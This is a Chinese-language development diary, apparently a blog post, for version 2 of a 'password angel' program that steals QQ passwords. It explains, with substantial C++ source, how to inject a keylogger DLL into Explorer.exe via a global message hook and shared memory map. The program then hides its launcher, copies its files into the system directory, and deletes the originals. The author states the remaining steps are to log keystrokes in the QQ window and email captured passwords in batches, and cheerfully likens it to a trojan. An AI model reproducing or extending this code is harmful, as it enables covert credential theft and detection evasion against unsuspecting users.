如果你看了我的<密码天使1.0开发手记>,那么对我的开发思路应该有一个印象了~~但是这个程序有一个问题:它只能在wind9x下实现伪隐藏!何谓伪隐藏?嘻嘻~~就是伪装成服务进程,在进程列表中是看不到的!用RegisterSerivceProcess 函数将进程注册为服务模式就 OK了,不过,要是用进程查看工具,那可原形毕露呀!~~网上很多文章谈到远进程写入技术,这确实是一种高深度隐藏方法,不过,我的程序中没有用到,因为远进程技术在9x下无效,考虑到这个问题,我采用了另一种方法。
在正式涉及到代码之前,我们先看看一些条件!
首先我们要明白这样一个实事:如何进入一个进程内存空间?也就是说怎么让具有执行任务的函数进入另一个程序呢?最规范的方法是系统级的Hook(钩子)功能!如果钩子存在动态库中,那威力就大增,可以干涉其它进程的正常工作!
其次,内存映射!通过映射的空间,我们可以在不同进程中共享空间中的数据,并当作自身进程空间的一部分。我没有用共享数据段,因为在多个DLL与EXE中,数据要一致,我认为内存映射方便一些!
现在我来说说程序的构成,程序共有三个工程文件:WinExe.exe、Install.dll、GetKey.dll。
1. WinExe.exe运行后加载Install.dll。
2. Install.dll中有一个辅助函数,实现将GetKey.dll注入到进它进程中去,本程序是注入到Explorer.exe中。此时的GetKey.dll就可在Explorer.exe的掩护下为所欲为了J!(设置钩子、捕获按键、发送邮件)是不是有点象木马了?当然,程序还有一些小细节,能让WinExe.exe和Install.dll在内存中消失,而你同时按下[Ctrl+Alt+Delete]组合键是查不到的WinExe.exe这个进程的,如果你用进程查看器,倒是可以看到GetKey.dll已经成为Exeplorer.exe进程中的一部分了,合合~~!
也许,你会问:为什么不直接用WinExe将GetKey注入到其它进程中呢??
这是行不通的,因为WinExe与Exepore.exe属于不同进程,它们在通常情况是不能相互访问的!于是我用了一个中介工具(Install.dll)将GetKey.dll注入到Exepore.exe中。是不是有点象火箭载飞船进入太空考查?哈哈,我瞎说罢!
我现在用插图来说明一下:
图 一
程序主体思想就是这样,现在我们按照图示进入代码!记住:我们的最终目标是进入Explorer中~~
首先我们在要系统快照中找到我们要注入的进程(如果没有,注到哪里去呀,嘻嘻)下面的代码是通过快照找到Exeplorer.exe的进程ID(你可以选其它对象)
在WindExe中我们主要是得到以下三个数据:一个是目标进程,一个是WinExe.exe的句柄,还有一个是当前的WinExe所处的路径。句柄有什么作用?嘻嘻~~~也许有人会说,WinExe的句柄到别的进程就无意义了,不过, 别忘记我介绍过的内存映射,它的出现,情况就不一样了!至于得到一个路径有什么用呢?很简单,无论程序在什么地方运行,它的归宿只一个,那就是转移到系统目录下!记住这个路径是为它自杀作准备的!啊!还有自杀呀!嘻嘻~~那确实~!
WORD CWinExeDlg::FindProcessId()
{
DWORD dwID;
HANDLE m_handle = ::CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
PROCESSENTRY32* Info = new PROCESSENTRY32;
Info->dwSize = sizeof(PROCESSENTRY32);
BOOL bFind = Process32First(m_handle, Info);
while (bFind)
{
CString strBigWrite;
strBigWrite = Info->szExeFile;
strBigWrite.MakeUpper();
if (strBigWrite.Find("EXPLORER.EXE") != -1)
{
dwID = Info->th32ProcessID;
bFind = FALSE;
break;
}
bFind = Process32Next(m_handle, Info);
}
delete Info;
Info = NULL;
CloseHandle(m_handle);
return dwID;
}
路径和句柄很容易得到,将这三个信息传入Install.dll! Install.dll就是一个加工厂,将送来的原村料加工!
在进入Install.dll之前,我们先看看工厂有些什么设备?!J
以下这个结构和共享数据段是一回事!不过,我这个共享数据是一个结构体变量,准备让它记录共享的信息!
typedef struct _installinfo
{
char m_cPath[256];// 路径
DWORD m_dwExplorerId;//J还用说吗?
DWORD m_dwGetKeyThreadId;// 看看CreateThread后一个参数
HWND m_hwnd;// 记录WinExe的句柄
}InstallShareData;
看了设备后我们是不是要看看如何加工原料的吧?先将原材料放入到设备中(与上面的结构一一对应)
void InstallInfo(char cPath[], HWND hWnd, DWORD dwPrId)
{
// memset((InstallShareData*)lpInMem, 0, sizeof(InstallShareData));
pInShare->m_dwExplorerId = dwPrId;
pInShare->m_hwnd = hWnd;
pInShare->m_dwGetKeyThreadId = 0;
strcpy(pInShare->m_cPath, cPath);
if (hInHookMsg == NULL)
hInHookMsg = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, NULL);
}
呵呵,看到了吗?我用了钩子!这个钩子的作用是:当GetMessage在队列中找到消息后,它就开始处理消息了!我们看看这个钩子做了一些什么手脚,让GetKey是如何注入Exeplore.exe的?
LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0 )
{
if ( pInShare->m_dwExplorerId != 0 &&
GetCurrentProcessId() == pInShare->m_dwExplorerId)
{
pInShare->m_dwExplorerId = 0; // 不再需要监视explorer进程了
CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)OperateThreadpro,
NULL,0, &(pInShare->m_dwGetKeyThreadId));
}
}
return CallNextHookEx(hInHookMsg , nCode, wParam, lParam);
}
有人说GetCurrentProcessId()打死都不等于pInShare->m_dwExploerId,呵呵,还何况要pInShare->m_dwExploreId 不为零!要是从常理上讲,确实如此!因为你当前的GetCurrentProcessId()得到的是WinExe的进程ID呀,怎么可能和ExPlorer的进程ID相等呢?在这里我曾用调试过,将比较结果输入到文件中,确实不相等!但是当你将内存映射的地址初化一下,也就是在DLL库的入口处(DllMain中)将映射空间的首地址赋予给结构体变量,sigh~~~~~~什么呀?说白了就是把内存映射的句柄强制转换成结构体变量!嘻嘻~~这样一来,它们就有相等的可能了!不过呢,此时GetCurretnProcessId()得到的不是WinExe的ID了,已进入到Explorer的地址空间了!
看官注意:我们看看CreateThread函数,执行它的后果是什么呢?呵呵~~创建了一新的线程于Exeplorer中罢!那好,我们将目光锁定在OperateThreadpro这个全局线程函数中去!看看它又做了些什么手脚!!!!
void OperateThreadpro(LPVOID pParam)
{
typedef void (WINAPI * FUN)(void);
HMODULE hmodule;
FUN InstallGetKey;
char cSysPath[256];
::GetSystemDirectory(cSysPath, 256);
strcat(cSysPath, "//GetKey.dll");
hmodule = LoadLibrary(cSysPath);// 系统目录
InstallGetKey = (FUN)GetProcAddress(hmodule, "InstallGetKey");
if (InstallGetKey != NULL)
{
InstallGetKey(); // 当前线程是不是结束,请看它里面
}
else // 这种情况,很少发生!
{
FreeLibrary(hmodule);
return ;
}
}
嘻嘻,怎么样,看到了吗?一个关键的地方是动态调用GetKey.dll,绝吧?!什么呀,你早就会呀,那你浪费时间呀?5555J动态加载dll后,自然就要执行它里面的关键函数:InstallGetKey(),现在我们只关心GetKey.dll,不是吗?原材料已加工成产品了,要买给客户呀!什么?你不卖?现在的社会象你这样的人太少了哟!L(留下你的电话吧~~我要作专访~~
看好,这个InstallGetKey()是一个导出函数,要不然在上面的线程中就有未定义的错误!
在GetKey.dll中也有一个结构如下:
typedef struct _installinfo
{
char m_cPath[256];
DWORD m_dwExplorerId;
DWORD m_dwGetKeyThreadId;
HWND m_hwnd;
}INSTALLSHAREDATA;
搞什么鬼呀?和前面的定义的结构是一样的呀?!要数据共享你就不要吝啬多写几下,给它赋一个初值吧?呵呵,是不是WinExe的句柄被映射到这里来了?!怎么一回事呀,你从EXE中取得路径呀什么的你不用呀?不急,不急,看后面撒!J
我把这个函数帖出来!这么长,好烦燥的呢,呵呵!!
void InstallGetKey()
{
HANDLE h = OpenFileMapping(FILE_MAP_WRITE | FILE_MAP_READ,
false, _T("MemNameInstall"));
if (h != 0)
{
LPVOID p = MapViewOfFile(h, FILE_MAP_READ, 0, 0, 0);
p_data = (INSTALLSHAREDATA*)p;
if ( p != NULL)
{
::PostMessage(p_data->m_hwnd, WM_GOODLOOK, 1, 1); // 给exe发送自杀命令
Sleep(100);//等待100毫秒,这是好关键的!exe自杀也要一点时间嘛^_^
UnmapViewOfFile(p);
// exe进程结束后,将install.dll、exe一并复制到系统目录下
//然后将当前目录下的文件Del掉!
char cSExePath[256]; // 源exe路径
char cSDllPath[256]; // 源install路径
char cDExePath[256]; // 目的exe路径
char cDDllPath[256]; // 目的dll路径
strcpy(cSExePath, p_data->m_cPath);// 当前目录
strcpy(cSDllPath, p_data->m_cPath);
strcat(cSExePath, "//WinExe.exe");// 带文件名
strcat(cSDllPath, "//Install.dll");
::GetSystemDirectory(cDExePath, 256);// 系统目录
::GetSystemDirectory(cDDllPath, 256);
strcat(cDExePath, "//WinExe.exe");
strcat(cDDllPath, "//Install.dll");
if (strcmp(cDExePath, cSExePath) != 0)
{
CopyFile(cSExePath, cDExePath, FALSE);
if(!::DeleteFile(cSExePath))
{
ofstream fs;
fs.open("d://_ERROR_1.txt", ios::app);
fs <<"出错码 = " << GetLastError() << endl;
fs.close();
}
}
if (strcmp(cDDllPath, cSDllPath) != 0)
{
CopyFile(cSDllPath, cDDllPath, FALSE);
if(!::DeleteFile(cSDllPath))
{
ofstream fd;
fd.open("d://_ERROR_2.txt", ios::app);
fd << "出错码 = " << GetLastError() << endl;
fd.close();
}
}
}
CloseHandle(h);
}
MSG msg;
SetTimer(NULL, 1, 1000, (TIMERPROC)TimerProc);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// ExitThread(0);// 退出线程
//(要是真退出了,要记得关闭钩子)
}
怎么样?这个函数功能还是不复杂吧!呵呵!我都做了详细的注释,相信你也看得懂!
我简单的说几点:
1.PostMessage(p_data->m_hwnd, WM_GOODLOOK, 1, 1)这个就是发消息让WinExe自杀的!WinExe收到WM_GOOKLOOK后,证明注入已完成,WinExe留着没有作用了,没有作用就得死,好残酷哦!
2. SetTimer(NULL, 1, 1000, (TIMERPROC)TimerProc),发出Timer事件,监视工作开始了,这个和1.0版本大同小异了!
3.不要忘记了,这个函数工作在一个辅助线程函数中,线程函数结束有二种情况:一种情况是自我结束,这种情属于安全结束;还有一种情况是进程结束,它必须无条件结束!在这里,我们不能让它结束,我用了一消息循环,让循环持续它的生命!当然如果要结束它,你可以定义一个全局变量,要定义在内存映射的结构中,在Install.dll中加载GetKey.dll时只要检查这个值,通过这个值你就可以判断线程是不是还没有结束,要是没有结束,你又想结束它,那就发一消息呀,不过,发这个消息要有点艺术,得用系统广播:
SendMessage(HWND_BROADCAST, WM_YOURDEFINE,0,0)在上面的消息循环中加一判断就OK了!
至此,程序已告已段落!剩下的部分和1.0版本中的处理一样:设置钩子->找QQ窗口->捕获铵键->记录密码->累计五个号码 发送一次!
要是看出什么破绽,请告诉我!^_^